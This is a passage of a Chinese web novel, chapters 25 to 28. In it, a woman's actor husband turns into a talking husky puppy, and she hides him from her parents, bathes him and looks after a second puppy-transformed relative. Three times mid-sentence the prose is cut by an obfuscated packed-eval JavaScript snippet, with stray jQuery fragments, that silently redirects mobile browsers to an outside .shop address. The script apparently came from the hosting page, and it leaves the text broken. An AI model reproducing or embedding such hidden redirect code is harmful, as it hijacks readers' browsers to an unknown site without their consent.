这样下去不行。裴矜立即给梅由谨发信息告知情况,一边躲避父母去拿她早准备好的大袋子和毛巾。 就在裴矜拿东西的短短一分钟内,沙发的齐北宸以肉眼可见的速度缩了下去,他的衣袜鞋子被完整地留在了原位。最后只听“啵”的一声,一只湿漉漉的哈士奇幼崽在衣物间探出头来,迷茫地看着裴矜。 25. 小萌物 一人一狗四目相对竟无语凝噎。 裴矜千算万算没算到齐北宸这波变身来得那么猛,但现在不是欣赏小萌物的时间,她的父母就在几步之外的厨房里! 一把抄起小狗子和沙发上的衣服鞋子塞进大袋子里,裴矜还没来得及把袋子放回原位,厨房里就传来了母亲的声音。 “阿矜,小齐,小番茄洗好了,要吃一点吗?” 裴矜哪儿有心思吃小番茄,扯着嗓子喊了一声:“不用了妈,刚刚吃得很饱,你和爸吃呗。” “和妈妈还那么客气啊,你这孩子真是的。” 厨房里的水声渐停,裴母和裴父两人的脚步声渐渐靠近。裴矜在客厅里四处张望,实在找不到合适的地方藏这么个大袋子,只能连同包里的狗子齐北宸一股脑儿往矮几下面一塞。 “呜~” 袋子里的齐北宸扭动着身体,连带着袋子都一鼓一鼓的。裴矜手心里的汗都急出来了,她隔着袋子捏了捏狗子的一条小短腿,压低声音道:“安静点,不然被发现就完蛋了。” 袋子里骚动平静了下来,裴母端着一碗刚洗好的小番茄走了出来,身后是正好忙完的裴父。 裴矜起身接过碗放在桌上,裴父一个劲地说:“阿矜,吃几个吧。你妈知道和小齐回来特意准备的,尝几个也好。” “哎,好,谢谢爸妈。” 裴矜机械地捡了几个小番茄丢进嘴里,却什么味道也尝不出来。坐在她对面的裴母好奇地问:“怎么就你一个,小齐呢?” 裴矜差点被小番茄噎死,喘了口气才说道:“他出去接电话去了,好像是工作上的事,看他挺急的样子。” 裴母点点头:“小齐的工作比较特殊,他忙,妈理解。正好有些话小齐不在,我和你爸问问你,你要老实回答。” 熟悉亲妈的裴矜生理上立即意识到,这是亲妈的温柔刀要开始发力了。她正襟危坐地望着自己母亲:“妈,你想问什么就问什么,别整那么严肃。” 裴母和裴父彼此交换了一个眼神,随后开口问道:“阿矜,嫁给小齐你感觉幸福吗?” 我了个亲妈,您老人家非要当着齐北宸的面问那么硬核的问题吗? 台面上太皇太后的社死问题,台面下还有一只随时能起跳的核.弹狗子,裴矜的内心写满了绝望。 “他挺好的啊。”裴矜模棱两可地回答,“妈,你不是还挺喜欢他的嘛。” “哎~话可不能这样说。”裴父摆了摆手,“我和你妈喜欢归喜欢,不能代替你。你啊,社交圈子小,相亲了那么多次才相到小齐,之前连男朋友都没谈过,我们是怕你吃亏。” “我没吃亏啦,真的。”裴矜捏着小番茄的在手上转来转去,“再说了,我要是特讨厌他也不会嫁给他。哪怕我后悔嫁给他了,也不能答应妈今天带他回来吃饭。” 裴父迟疑地看了裴矜一眼:“真的?” “比珍珠还真,您就放宽心吧。”裴矜说着把小番茄往父亲嘴里塞了好几个,“知道你们是为我考虑为我好,可我好歹也是个成年人了,就不能多相信我一点嘛。” 裴父被女儿塞了一嘴小番茄连连摇头,裴母笑得眼睛都眯成了一条缝:“女大不中留,才嫁过去多久就护上了?不过听你这么说,我和你爸也就放心了。”她拉着裴矜的手说道,“阿矜,你要记得一件事,不管何时何地,我和你爸永远是你可以依靠的港湾。” 裴矜的目光柔和了许多:“嗯,谢谢爸妈。” “你这孩子,一家人还谢来谢去的,这坏习惯都是你爸传染给你的。” “这说明咱女儿长大了,阿矜啊,别听你妈胡说八道。” 一家人其乐融融,裴矜沉浸在和父母的聊天中,甚至忘了茶几下方还有个大惊喜没有处理。 直到茶几晃荡了一下。 距离最近的裴父一低头就看到了被裴矜塞在桌底下的大袋子:“阿矜,这不是你的袋子吗?里面装什么了,怎么还会动?” 糟了,差点忘了齐北宸还在袋子里。 “没什么,就是一些衣服鞋子之类的东西。” 裴矜偷偷隔着袋子又捏了一下,但这次袋子里的齐北宸不但没有配合安静下来,反而猛地蹦了起来。 这么大的动静,在场的三双眼睛全看到了。 “不会是什么东西混进去了吧,阿矜你别动,让爸爸来看。” “没那么严重吧,爸,你就爱瞎紧张。” “阿矜啊,里面不会是装了什么不能让我们看的东西吧?” “没……没有。” “阿矜,既然没什么,那就让你爸打开看。” 两个家长都要求看,裴矜在心里给自己和齐北宸点了一首凉凉。 出门时候还好好的,才一会儿功夫就变了天。梅由谨这什么垃圾特效药,回去要给他差评! 梅由谨那些都是后话,眼前的问题总得解决。裴矜一脸紧张地看着颠簸的袋子和像在拆炸.弹一样缓步靠近的父亲,心里七上八下。 裴父先戳了戳袋子,袋子里的齐北宸一阵抖动。裴父见状一脸严肃:“里面看来有个大家伙,老太婆,拿我的拐杖过来。” 那里面可是齐北宸,一拐杖下去还不得爆浆! 裴矜顾不上别的,立马挡在袋子前面:“爸,你是不是想多了,我感觉……” “砰!” 不等裴矜说完,哈士奇幼崽版齐北宸已经挣脱了袋子的束缚,蹭的一下跳到了茶几上。 客厅里一片寂静,三个成年人都盯着桌上小小的不速之客。 齐北宸摇了摇小尾巴,冲着裴矜奶声奶气地叫了一声:“汪~” 齐北宸你好得很,这要怎么收场? 裴矜的大脑CPU短时间内已超负荷运作,她瞥了一眼父亲的脸色,拼命解释:“没想给你们添麻烦,就是一只小狗……” “女儿啊,小狗再小也是一条小生命,放在袋子里那么久,万一闷坏了怎么办?”裴父震惊之余坐了下来,他对着裴母也招招手,示意她也坐下,“你和爸爸老实说,狗哪儿来的?” 裴矜老实交代:“我也不知道,就顺手捡的。” “在我们这里?” “嗯。” “就我和你妈在厨房那一会儿?” “对。” “裴矜同志。”裴父叹了口气,“你可以对你说的话负责吗?” 裴矜果断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17749034|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 点头:“当然。” 只不过狗子本身是齐北宸这事她没告诉父母,不能算她撒谎吧。 “你真是的,凶女儿干什么。”裴母轻推了一下裴父的肩膀,说道,“我看这小狗长得挺可爱的,你管它哪儿来的,又没让你养。” 茶几上的齐北宸立即叼着小番茄放在裴母手里,裴母摸摸它的头:“你看,那么乖的狗,还知道送水果给人吃,多讨喜啊。” 那是因为这狗壳子里装了个三十岁的大男人啊,我的亲妈。要是您老知道这狗子是你女婿,你还夸的出口? 裴矜不动声色地先看了看齐北宸,又用眼角余光扫了扫裴父,齐北宸有叼了第二颗小番茄送到裴父手里。 裴父对狗摆摆手:“我不吃。” 裴矜继续递眼色。 狗子又往裴父手里凑了凑,小爪子扒着裴父的裤腿,大又亮的眼睛直勾勾地对着裴父持续释放小狗仔的魅力。 裴父扯了扯嘴角,眉头微皱,最后转向一边:“都说了我不吃,这小狗怎么还盯上我了?” “你这个老顽固,小狗都放下身段来哄你了,你还闹哪门子脾气?” 裴母从齐北宸的小狗嘴里拿过小番茄,强行塞到了裴父嘴里。裴父脸依旧板着,嘴巴一动一动地把小番茄嚼着吃了。 老爸就是刀子嘴豆腐心,吃了就没事了。 裴矜才暗自松了一口气,只听裴母又问:“阿矜,你说小狗是你捡的,你接下来打算怎么办?养它?” 不是都忽悠过去了,怎么还有连续剧啊! 裴矜磕磕巴巴地继续往下编:“也不能算捡的,是阿宸他留下的。对不起爸妈,刚刚没和你们说实话,他有急事先离开了,小狗是他朋友的,因为有事临时寄养在我们这儿几天。” “我之前养的小乌龟失踪后,家里再没养过宠物,我怕提出来你们会睹物思情,又想到那些不愉快的经历,所以就……” “女儿,小乌龟走了,但是小狗还在,你是个大人了,到底该沉湎于过去,还是把握当下,自己心里得有分寸。”裴父犹豫了一下,摸了摸小狗头,“我看这小狗很喜欢你,既然答应了朋友就得说到做到。” 裴矜愣了一下,反问裴父:“爸,你不生我和阿宸的气了?” 裴父长叹一口气,目光平静:“气归气,事情总得解决。小齐这孩子不告而别,下次罚他给我泡茶。” 裴母轻笑一声:“他还欠一顿小番茄没吃,下次务必让他吃完再走。” 一家三口的背影被柔和的灯光拉出交汇的长影,深色的夜空渐渐覆盖了黄昏的颜色,点点繁星在黑色的幕布上跳跃着。 裴矜抱着齐北宸从父母家离开时,站在楼下望着楼上的窗台。那是她学生时代的房间,窗口往里一点的桌上就是养乌龟的小鱼缸。 小乌龟不是离家出走了,而是外出闯荡了。鱼缸里安全却狭小,不经历一番怎能看到彩虹。 释怀的裴矜轻笑一声,她打开车门把齐北宸放在副驾驶座上,自己把大袋子往车后座一丢,取代齐北宸坐上驾驶座。 二度调整驾驶座的间距,裴矜还没发动引擎,一声熟悉的叫声在耳畔响起。 “老婆。” 26. 两只幼崽 这是齐北宸的声音,他变回来了? 裴矜转头一看,平行的视野范围内并没有在副驾驶座上看到那张熟悉的脸。低头一看,只见哈士奇幼崽仰着脖子望向裴矜,狗嘴张开,又重复了一遍:“老婆,别找了,看这边。” 裴矜瞳孔地震,齐北宸抬起左前爪晃了晃:“老婆,回神了。” “你安静点,我想一个人冷静一下。” 裴矜强行把瞪大的眼睛一闭,头靠在方向盘上吸气又吐气了好几个回合。 哪儿有狗子开口发人声的,梅由谨的特效药是特效到哪里去了?! 差评,绝对的差评! 裴矜睁开眼后立即拿出手机用短视频的方式把齐北宸的狗崽样记录下来发给梅由谨,并强烈谴责了该特效药带来的惊吓感。 裴矜:小梅,为什么变成狗了还能发出人声?这比单纯变成狗可怕多了! 裴矜:我和我老公今天体感极差,我不多说,剩下你看着办。 发完消息,裴矜也不管梅由谨有没有回复,把手机一塞,正准备开车回家,一只毛茸茸的狗爪子搭在了她的手臂上。 “老婆,我要不要系安全带?” ……他还挺有安全意识的。 “我来。” 裴矜把狗子用安全带固定住,齐北宸四条小短腿趴在座位上,黑色的安全带横穿他的狗背。 黑白交错的毛发,摊成液体状的小狗子像一只捆好的狗闸蟹,看上去像随时等着被人带回家煮一样。 “事真多。” 裴矜捏了捏小狗耳朵,驱车回家。 一路上齐北宸的问题不断,小狗嘴叭叭个不停。 “老婆,你是不是被我吓到了?嘿嘿,我也被吓了一跳,还好在咱爸妈那儿没露馅。” “我现在变得好看不?和小姐夫比起来哪个更可爱?” “老婆,我现在感觉骨头不疼了,就是毛湿湿的,粘在身上好难受。” “老婆,你刚刚给谁发信息?我……” “够了。” 等红绿灯的间隙,裴矜一把捏住了齐北宸的狗嘴。说不了话的齐北宸拼命甩着短尾巴,两只眼睛一眨一眨的。 “都变成狗了还话那么多,欠收拾欠教育。”裴矜手指点着狗鼻子,“你这小狗子再多嘴多舌,回家你就自己洗澡去吧。” 齐闸蟹非常配合地进入了静音模式。 红色跑车在如墨般的夜色里划出一道轻盈弧线。约半个小时后,裴矜解开了安全带,带着齐北宸回家。 回家是开始并非终章,裴矜进屋后第一件事就是把小梅屋那些狗狗用品都翻了出来。 “老婆,我自己来。” 车上闹腾得不行,回到家齐北宸却很配合地叼着它的小狗床和食盆各就各位,高处够不到的地方由裴矜负责。 第三回临时养狗,狗和铲屎官都有了心照不宣的默契。片刻后,俩人收拾妥当,裴矜拿着小澡盆和瓶瓶罐罐进了浴室。 小狗崽齐北宸躺在澡盆里露着肚皮,四只爪子牢牢地捂着腹部。 又来?上次他变成小泰迪的时候也是这个鬼样子,现在都掉马甲了,还有什么好避讳的? 裴矜摇晃完梅由谨特制的宠物洗护沐浴露,安好喷头对着齐北宸:“手拿开,你这样挡着我怎么给你上沐浴露?” 齐北宸的眼珠子转了几圈,松开了右前爪,另外三只爪子依旧紧紧捂着不撒手。 “我让你拿开,你就拿开一只?”裴矜无奈地摇摇头,双眼落在他露出一小块的肚皮上,“齐北宸,我不是菜市场的阿姨,没时间和你讨价还价。松不松手?不松手我就直接上了。” 齐北宸的小狗毛根根竖起:“诶!你来真的啊!我……我好歹是个大男人,你就这么摸,我以后怎么见人啊。” 这和男不男人有什么关系? 裴矜有听没懂:“我都没忌讳给你洗毛了,你倒先害羞起来了?你一个男演员,平时和女演员拍亲密戏怎么办?” “借位。”齐北宸不假思索道,“我可是很有职业素养的,从来不揩女演员的油。” “你拍你代表作的时候那么多感情戏也都借位?” “哪部啊?” “装什么傻,就微博上挂着的那个。” “……” “干嘛突然不说话?” “裴矜,我怎么没发现你还挺关心我的呢?”齐北宸顶着小奶狗的皮毛,舔舔爪,“你看了吧,按你的脾气要不是看过了,哪儿会说那么详细。” 狗东西,几句话就被他抓到了。平时不过脑,关键时候精得要命。 被齐北宸调戏多了,裴矜也进化了不少。她单手叉腰,俯视着澡盆子里的小狗:“你自己挂微博上不就是给人看的?你少打岔,洗不洗?” “洗,但是能不能别那么豪放啊老婆。”齐北宸扭捏着小爪子,“小梅不是说了,变成狗不超过48小时就会变回来嘛,咱洗个背,搓搓小爪子,差不多就行了。” 几次三番推诿,裴矜算是看明白了,齐北宸是真害羞,不想给她摸某些部位。哪怕他变成狗了,羞耻心依旧。 裴矜忍不住逗他:“我有洁癖,你洗不干净就叼着你的小狗窝睡走廊上去。” “怎么这样啊,看我变成小狗无力反抗就欺负我。”齐北宸狗脸鼓鼓,狗身在澡盆里扭来扭去像条毛毛虫,“裴矜我警告你,哪怕我现在是狗也不是那种随便的狗,你让我着凉不舒服了,最后吃亏的是你自己。” 歪理一大堆,到底还洗不洗了? 裴矜把搓澡巾一丢,转身就走。齐北宸立马扯嗓子嚎:“老婆!我洗!我洗好不成嘛。” “早这样不就好了。” 裴矜转了回来,拿起沐浴露,轻轻掰开小狗的四只爪子,均匀喷洒在上面。绵密的泡沫覆盖在皮肤表层,再用清水慢慢冲洗干净。 裴矜控制着力度,边观察他的反应:“舒服一点没?有没有感觉疼或者太用力了?” 齐北宸摇摇狗头:“没有,谢谢老婆。” 洗完肚子,裴矜又把狗翻过来洗背和小爪子。习惯了沐浴露和裴矜后,齐北宸渐渐放松了下来,眼睛追随着一颗颗漂浮在空中的小泡泡,时不时用小爪子戳破。 裴矜看了他一眼:“别玩了,转过去,屁股翘起来。” 齐北宸的小短腿僵在半空中:“干嘛?我不要洗屁屁和尾巴,那是我最后的尊严!” 裴矜扯了扯嘴角: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755312|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “不洗自己睡走廊,我都不介意你介意什么?” 除了嗓子大,一点实力都没有的小奶狗最后还是被裴矜从里到外洗了个干净,才从浴室里捞出来。 客厅里弥漫着淡淡的木质熏香味,舒舒服服洗完澡被擦了个干净,齐北宸趴在柔软的小毛巾上享受着裴矜的吹风服务。狗眼眯成了一条缝,偶尔伸出舌头打着哈欠。 裴矜算是明白为什么那么多养宠物的人会称呼宠物为主子了,吃喝拉撒睡,全靠自己动手服务,可不得是当铲屎官的命。 洗吹服务完毕,裴矜打理完自己,和齐北宸一人一狗各自玩起自己的平板和手机。她解锁滑块,一大堆消息疯狂涌入。 梅由谨:啊!齐先生也变成哈士奇了吗?有意思,这个现象值得研究。 梅由谨:会开口说话不是副作用,说明特效药在起作用,请放心。 梅由谨:我通过腕带看过齐哥的体征,数据一切正常,变成小狗可以换上狗狗款,尽量不要让监控数据出现断档。 看到这里,裴矜松了一口气。 裴矜:好的,有进一步消息请及时联系我。 裴矜:之前着急口气有点冲,不好意思。 梅由谨:裴小姐客气了,有空还请多多支持小店的生意哦~ 一门心思就想着赚钱,出钱能解决的能叫事情吗? 裴矜抬手戳了戳身旁那团毛茸茸的生物:“小梅说了,腕带数据检测不能断,你去抽屉最下面翻出来戴上。” 齐北宸停下刷平板的爪子,跳下沙发扭着小狗屁股过去。拉开抽屉,叼出腕带,再关上抽屉,一气呵成。 齐小狗把腕带放在裴矜面前,伸出左前爪,声音黏糊糊的:“老婆,小狗爪自己戴不上,帮帮我嘛。” 裴矜全身一哆嗦,给他戴上后摸了摸狗头:“这也没发热啊,怎么这样说话。” “我看网上说,狗狗愿意被人那样洗,是信任和当成家人的表现。”齐北宸蹭蹭裴矜的掌心,狗狗眼望着她,“老婆,你要对我负责哦。” 裴矜摸狗的手卡住了。 变成狗的老公申请合法权益该怎么办?在线等,蛮急的。 脑内引擎一键搜索完毕,裴矜拿出了王部长的绝招:“在给你想办法治病,你要当条小乖狗,不然吃亏的你,我也没占便宜,大家都没好处。” 齐小狗甩了甩耳朵,没再说话。它趴得离裴矜更近了一点,小尾巴在裴矜的小臂上扫来扫去。 这真的没问题吗?裴矜发信息给梅由谨确认,得到的回复更加离谱。 梅由谨:哇哦~没想到变成狗还能增加夫妻情趣。这份数据资料非常宝贵,感谢裴小姐对宠物界研究的支持。 所以她成了做好人好事的那一方? 裴矜欲哭无泪,又感觉有点好笑。指尖往上一翻,另一个熟悉的名字映入眼帘。 佘瑰:[卢烨变成哈士奇幼崽的照片.jpg] 佘瑰:小裴在吗?小烨他一小时前又变成狗了。 佘瑰:我明天早上要飞国外,没办法照顾他,能不能麻烦你临时帮忙照顾一天?我争取周一下午来接他。 佘瑰:[发起转账¥888888,备注:小烨的临时抚养费] 27. 与狗同枕 满屏幕的消息里,裴矜除了钱什么都没看到。 一天就88888大洋,卢太子爷就是金贵,和家里这只上不了台面的小土狗两模两样。 右手把那条不安分的小尾巴捏起放在沙发上,裴矜的手指在屏幕上往上轻滑一下,直接略过了那笔巨额转账。 裴矜:表姐客气了,都是一家人,谈钱就俗了。 裴矜:我明天会把表姐夫的幼崽用品准备好的,表姐你直接过来就好。 佘瑰:小裴,不用那么麻烦,东西我会准备好的。 佘瑰:宸宸娶到你是他的福气。你不收钱,我不逼你,但我这个做姐姐的也不能占你便宜。 佘瑰:明天早上八点,我会开车过来的。早些睡吧,晚安。 裴矜:好的,晚安表姐。 “老婆,明天小姐夫要来啊?” 齐北宸不知何时凑了过来,一颗毛茸茸的狗脑袋拱在裴矜的臂弯处,肉垫轻触着裴矜的手背。 狗东西刚结婚的时候装得还挺像那么一回事,现在是越来越懒得演了啊。 捏着幼犬的后脖子,裴矜利落地把手机、平板锁屏放好,带着狗丈夫往屋里走。 被拿捏住动弹不了的齐北宸抖着狗耳朵继续发问:“老婆,是不是小姐夫也变成小狗了?那明天家里就有两只狗了,需要我帮你规划一下吗?” “你管好你自己,我就谢天谢地了。”裴矜拉来狗窝,把齐北宸安置在上面,“你才变身,身体虚弱还是早点睡吧。明天一早表姐他们就要来,没时间给你补眠。” “诶,老婆~” “又想干啥?” 齐北宸的后爪在小床铺上划来划去:“你都说了我身体虚,现在昼夜温差那么大,我要是睡地上受凉了可就得不偿失了。” 说的好像也有几分道理。 裴矜微微颔首,抱起齐北宸准备去他自己房间:“也好,你睡你自己床上,一条狗想怎么翻就怎么翻,床大又软,肯定舒服。” “我不想回自己房间。”齐北宸的小狗抓攥着裴矜的手臂摇了摇,“万一我半夜有个头疼脑热,我们俩分房睡,我还是只弱小可怜又无助的小狗喊不醒你,第二天你就要面对一具凉透的狗尸了。” 裴矜戳了下狗子的额头:“这也不行,那也不行,你想怎么着?” 齐北宸吐着小舌头,小尾巴狂甩:“我想睡床上。我都是只小小的幼犬了,一没攻击性,二又不占地方,三还能给老婆暖.床,功能多事情少,这是一举多得的美事啊。” 是挺美的,算盘珠子的蹦到她脸上来了,当她是傻的吗? 裴矜眉间褶皱微凸,一言不发地盯着齐北宸,后者一味地往她怀里拱,语气都委屈了起来:“老婆,我就你一个人可以信任了。你不要我,我只能去外面当乞讨的流浪狗了。” “哪儿那么夸张,就你这模样,去要饭都得被同行嫌弃。”裴矜用力一点狗子的额头,“便宜你了小坏狗。事先声明,要是我半夜翻身把你压成狗饼,你别怨我。” 齐北宸的狗眼瞬间亮了,讨好地舔着裴矜的手指:“不会,老婆对我那么好,怎么可能舍得让我变成小狗饼。” 油嘴滑舌,一肚子坏水。要不是他现在在一只萌萌的幼犬身体里,真想用拖鞋好好抽他几下。 裴矜调转方向,把齐北宸的小床铺连同他一并放在床上。小狗安稳地落在全棉布上,两只前爪往前,后爪往后,一同抓住布料做拉伸运动。铺完床后,齐北宸用嘴叼着他的丝绒小毯子裹在肚子上,两只前爪放在小毯子上,转向裴矜。 裴矜长那么多还是第一次见狗给自己铺床的,她躺在床的另一侧,侧过身与齐北宸四目相对:“都说差生文具多,你一条小狗又是床垫又是小毯子,真会给自己来事。” 说着,裴矜替他掖好了翘起一角的小毯子:“早点睡吧,晚安。” 齐北宸的小狗眼注视着裴矜的动作,沉默了几秒才回应:“晚安,老婆。” 一人一狗的呼吸渐渐平稳下来,伴随着窗外偶尔的风声,进入了睡梦模式。 裴矜原以为旁边多了一只小狗会睡不安稳,事实截然相反。不仅一夜无梦,甚至连半路起夜和醒过来的事也不曾发生。 第二天一早,窗外小鸟啾啾,明媚的阳光预告今天是个好日子。 裴矜睁开眼的瞬间就看到了一双黑曜石般的眼睛,那张放大的哈士奇幼犬脸近在咫尺,正一动不动地注视着她。 挺可爱的生物硬生生把自己整成了惊悚片男主角,齐北宸,你是在浪费萌物的颜值,真是罪孽。 裴矜的心脏险些停跳了一拍,她咽了口口水,瞳孔才慢慢恢复正常。 齐北宸后撤了一小步,嘿嘿笑着歪头打招呼:“早,老婆,昨天晚上睡得好吗?” 裴矜捏着狗子放在一边坐起身:“早。托你的福,本来挺好的,直到刚刚看到你的那一瞬间,我的嘴里全是你的狗毛。” 齐北宸微滞了片刻,他跳下床,主动把自己的小床铺小毯子用爪子和嘴打包好,原路放回去,一脸乖巧地蹲在裴矜的脚边吐舌头:“老婆,你看,我是不是很厉害?” “厉害,你最厉害了,翘毛小狗。”裴矜微扬起嘴角,顺手把齐北宸耳朵后那撮还没长好的毛抚平,“走了,吃早饭去。” 一人一狗一个坐在椅子上,一个坐在桌上,面前分别放着一个装固体食物的碗和液体食物的碗,一秒嚼两下,不紧不慢地完成进餐。 吃完早餐,齐北宸绕在裴矜的脚边抱怨:“老婆,能不能买一点幼犬吃的狗粮?之前小梅给的皇家狗粮是通用款,我吃了感觉太硬了,牙都要磕坏了。” “我看看。” 裴矜擦擦手,蹲下身打开狗嘴一看,还真是那么回事。她立即拍照给梅由谨反馈了这一情况。 裴矜:小梅,VIP客户买两天份的皇家幼崽版狗粮要付多少钱? 几分钟后,裴矜的手机显示有一笔订单准备派送。与此同时,梅由谨的消息同步弹了出来。 梅由谨:哪儿能让裴小姐破费,这单我请了。 梅由谨:[分享链接:狗粮口味调研] 梅由谨:麻烦裴小姐有空做个调研,谢谢了。 裴矜:好。 吃人家嘴软,但今天吃人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760195|207956||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 的又不是她。裴矜内心不仅毫无负罪感,还指挥起了齐北宸:“老公,去,把调研给做了,中午你就有新狗粮吃了。” “好嘞。” 齐北宸叼来平板放在沙发上,整只狗平摊在上面,左爪灵活地滑动勾选,小嘴巴一开一合碎碎念:“小梅早该调研了。嗯?有三文鱼鸭肉款狗粮,看上去很好吃,选一个。还有水果味的,不要榴莲,我要草莓。” 小嘴巴还挺挑剔,当狗当久了,连口味都跟着狗狗习惯一起变。齐北宸,你以后还能好好当个人吗? 裴矜想着想着随便他去了。没过几分钟,门铃响了,打开一看,是穿着短袖马甲的佘瑰,手里抱着熟悉的哈士奇卢烨。 和上次略微不同的是佘瑰不是一个人来的,她的背后还跟着好几个人,端着一大堆东西有条不紊地进屋摆放好,撤退时把一本说明书双手奉上交到裴矜手里。 大排场又声势浩大,连对面的张阿姨都伸出头来看了几眼才进屋去。 “你好小裴,时间紧,我就不多说了。”佘瑰放下卢烨,简明扼要地和裴矜交代了一下如何操作那些狗狗用品,“这些都是我定制的宠物狗用品,除了小烨的还有宸宸的。说明书你有空翻一下,使用起来不难了。我还得赶飞机,先走一步了,回头聊。” 来也匆匆,去也匆匆。裴矜一句话还没说出口,佘瑰就带着一群人风风火火地走了。 被单独留下的卢烨一点也没反应,它踱着步走到裴矜面前,抬起头伸出一只狗爪子:“小裴你好。” ……所以梅由谨的特效药都能让狗子开口说话是吗?难怪他昨天给她发信息的时候用了个“也”字。 裴矜的眉峰皱了皱,又很快松开。她蹲下身,伸出手与卢烨短暂握了一下:“姐夫好,你怎么也能说话了?” “哦?”卢烨的语调拉长,它松开爪子迈着小碎步走到沙发前,冲着专注平板一百年的齐北宸喊了一嗓子,“宸宸。” 小懒狗齐北宸耳朵竖起,目光从平板上移开:“小姐夫,快来。小梅的调查问卷,我也给你转发了一份,做完还能争取几天幼崽狗粮!” 卢烨呆滞了数秒,摇摇狗头:“你是一点儿都不介意当狗啊。不过为自己争取有限的福利是该做的事,我也来看看。” 两只哈士奇幼崽混在一起,裴矜见它们相处融洽便不过干涉,转而研究起了佘瑰带来的新款道具。 全智能狗狗按摩浴缸,发光舞毯,狗狗TV,只有你想不到没有佘瑰买不到。 有钱有颜还有情有义,这样的表姐实乃神仙人物。 感叹归感叹,裴矜才研究到一半就被今天来上钟的王妈打断了。 今时不同往日,之前变成狗的卢烨和齐北宸说不了话,现在却是能说的。裴矜路过沙发的时候特意咳嗽了一声:“王妈来了啊。” “太太好。”王妈进门路过沙发时看到了两只小狗,对着它们招招手,“这两只小狗看上去好小啊,又是先生的朋友临时寄养的?” 裴矜眼皮子都不太一下:“是的。” 王妈笑着轮流摸了摸两只狗:“小宝贝长得真可爱,它们叫什么?” 28. 大哈与小哈 狗叫什么?好问题,没人想过呢。 名字好取,连带卢烨的狗名字一起取才是让人头疼的事。事前忘了和佘瑰串供,只好临时抱佛脚。 “呃……”裴矜眼珠子一转,张嘴就来,“个头大一点的叫大哈,小一点的叫小哈。” 大哈和小哈闻言同时拉长了狗脸。 王妈顾着和裴矜说话,没有看到它们变脸的瞬间,笑得眼角皱纹都深了几分:“好名字,在我们乡下越土的小狗名字越好养活。这俩小狗长得那么壮实,一定是托了名字的福。” 两只降级撑小土狗的狗子连平板都不玩了,沙发头和尾,一边一只盘踞着只摇尾巴不说话。 被叫小土狗就生气,又不是出气筒哪儿那么多气。 起名达人裴矜抿了抿唇,强压下想笑的冲动。她指了指沙发头的卢烨:“王妈,这只是弟弟小哈,对面那只炸毛狗是哥哥大哈。它们现在不太开心,你可得哄哄它们。” “太太放心,哄小狗我可有经验了。”王妈对着卢烨拍拍手,“小哈过来,我带你去喝酸奶。” 沙发上的卢烨双目盯着王妈沉默地看了好一阵,摇摇狗头跳下沙发跟着去了。另一端的齐北宸仿佛变成了忠犬八公石像,小尾巴都不晃了,整只狗一动不动。 四下无人,裴矜伸手轻揪了齐北宸的小尾巴:“好端端的,生什么胖气。” 齐北宸“嗷呜”一下弹了起来,回头一见是裴矜,周围没人,立马开始嚷:“你欺负完人还欺负狗,欺负就欺负了,还不哄一下,裴矜你没有心。” 这哥们是真拿自己当个宝宝了。 裴矜叹气,伸出手指摸小狗头:“那你要我怎么哄你?” “我要喝酸奶。” “自己去厨房喝。” “我不要。” “那就别喝。” “喂我嘛,看在我那么可爱的份上。”齐北宸又蹭了蹭裴矜的手掌,“你都摸我毛一分钟了,放狗咖里要计时收费的,不准白嫖。” 齐小狗为了一口酸奶维权到这份上,裴矜也不好继续坚持。她去厨房从王妈那儿拿了一罐酸奶,倒入碗里加入切好的水果搅拌均匀端走。 独自舔着狗盆里酸奶的卢烨,小小的眼睛里装满了大大的疑惑,一路看着裴矜走出厨房来到客厅投喂沙发上的那只好命狗。 “张嘴。” “啊~” 齐北宸小舌头一卷,把酸奶和水果块一起卷进去嚼了几下。 萌物的外表,闹腾的心。还好这狗不能自理模式不会超过48小时,否则她得心累死。 裴矜耐着性子给齐北宸喂完,幼崽嘴旁一圈都是白色的酸奶渍。 小花狗一只。 裴矜故意不提醒,端着碗走了。厨房里吃完的卢烨出来,与裴矜擦肩而过。他走到沙发旁时,歪着头和齐北宸不知道说了什么,裴矜离得远听不到。 只见悠哉模式的齐北宸听完后立马撒丫子从沙发上跳下来,直奔自己房间而去。一分钟后,他直冲到厨房,视线在王妈和裴矜两人间来回切换,想叫又不敢叫,拼命对着裴矜递眼色。 裴矜喝着酸奶,有一搭没一搭地和王妈聊着天,假装没看到。还是王妈发现了欲言又止的齐北宸:“大哈,你咋了。” 裴矜一口酸奶憋在嗓子眼里,适应了一会儿才咽下去。 “呜……汪汪~” 齐北宸眼睛盯着始作俑者不放,小舌头舔舔嘴,对着王妈又蹦又跳。王妈这才蹲下身看清楚,用毛巾给他擦干净。 